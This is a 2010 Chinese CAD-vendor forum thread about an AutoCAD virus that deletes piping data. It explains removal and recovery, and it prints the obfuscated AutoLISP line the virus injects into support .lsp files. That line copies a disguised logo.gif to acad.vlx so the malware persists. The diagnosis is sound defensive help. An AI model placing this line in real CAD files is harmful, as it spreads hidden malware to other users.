咨询热线:0731-88808590
切换到宽版
 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 12964|回复: 3

CAD病毒导致管道数据丢失

[复制链接]
发表于 2010-5-11 17:23:00 | 显示全部楼层 |阅读模式

前一次画好的管道模型,下一次打开,用管件查询命令所有的管道数据没有了

[此贴子已经被uesoft于2010-5-12 17:23:24编辑过]
回复

使用道具 举报

 楼主| 发表于 2010-5-11 17:27:00 | 显示全部楼层

城市建设院使用过程中发现管道数据,经过反复测试,发现每次打开文件多了一个acad.vlx文件.

从网上搜索得到的解决方案:

他讲就算是全盘搜索删除这个acad.vlx文件,打开CAD都会再重新生成。还好,他在使用CAD和我测试时,都没有发现这个acad.vlx对CAD的命令操作有什么影响。

不过,这也勾起了我的好奇心,CAD启动时怎么会自动产生这个acad.vlx文件呢?

第一,它不会修改acad.mnl文件添加内容,因为我已经把acad.mnl设置为只读。

那么它是修改了什么文件致使CAD启动时自动产生这个acad.vlx文件呢?

仔细搜索查看CAD安装目录后我发现,Express目录的acetauto.lsp文件和Support目录的ai_utils.lsp文件都被修改了。同时Help目录内也多出了一个logo.gif文件,仔细查看它的字节大小,确定它就是这个acad.vlx文件的副本。

打开acetauto.lsp和ai_utils.lsp文件,跟我备份的原文件对比后发现,它们都被添加了一行代码:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

这句代码的意思就是搜索CAD支持路径下是否有logo.gif文件,如有,则复制logo.gif文件到CAD支持路径并重命名为acad.vlx。

这就是为什么全盘搜索acad.vlx删除后,打开CAD后又会全新生成这个acad.vlx文件的原因了。

解决办法:关闭CAD,全盘搜索acad.vlx删除,再将CAD的Help目录内的logo.gif文件删除即可。

附:一个有破坏性的acad.vlx文件说明

如果你打开CAD图纸,发现图纸上只有一句英文:MUST re_cover!,以前画的图全没有了!

这时,你不要惊慌。关闭CAD后,全盘搜索acad.vlx,将其中的一个acad.vlx文件改名为a.vlx留用,然后把搜索到的acad.vlx全部删除。

重新启动CAD,打开那个被破坏的图形文件,在“工具”菜单下“加载应用程序”,选择加载备份的a.vlx文件,在命令行输入re_cover就可以恢复被打乱隐藏的图纸了。

所有被破坏的文件修复后,关闭CAD,再全盘搜索acad.vlx一次,将搜索到的acad.vlx全部删除。

回复 支持 反对

使用道具 举报

 楼主| 发表于 2010-5-11 17:28:00 | 显示全部楼层

估计应该在CAD病毒引起的

回复 支持 反对

使用道具 举报

 楼主| 发表于 2010-5-11 17:28:00 | 显示全部楼层

CAD病毒专杀工具

CAD病毒专杀工具 201051117284187777.zip (715 KB, 下载次数: 3473)
[此贴子已经被作者于2010-5-11 17:28:43编辑过]
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们

长沙优易软件开发有限公司(中文简称:优易软件,英文简称:UESOFT)是三维管道CAD/CAE一体化设计软件开发商,也是新一代三维工厂设计管理系统的开创者。公司开发的自主知识产权的管道应力分析软件AutoPSA居于中国大陆市场前2名。UESOFT于2000年10月23日经湖南省长沙市工商行政管理局核准登记设立。

联系我们

  • 地址: 中国湖南省长沙市高新区桐梓坡西路保利麓谷林语中心i区1栋718-725
  • 电话: 0731-88808590
  • Email: uesoft@163.com
© 2001-2021  Powered by Discuz! X3.4 永益科技
快速回复 返回顶部 返回列表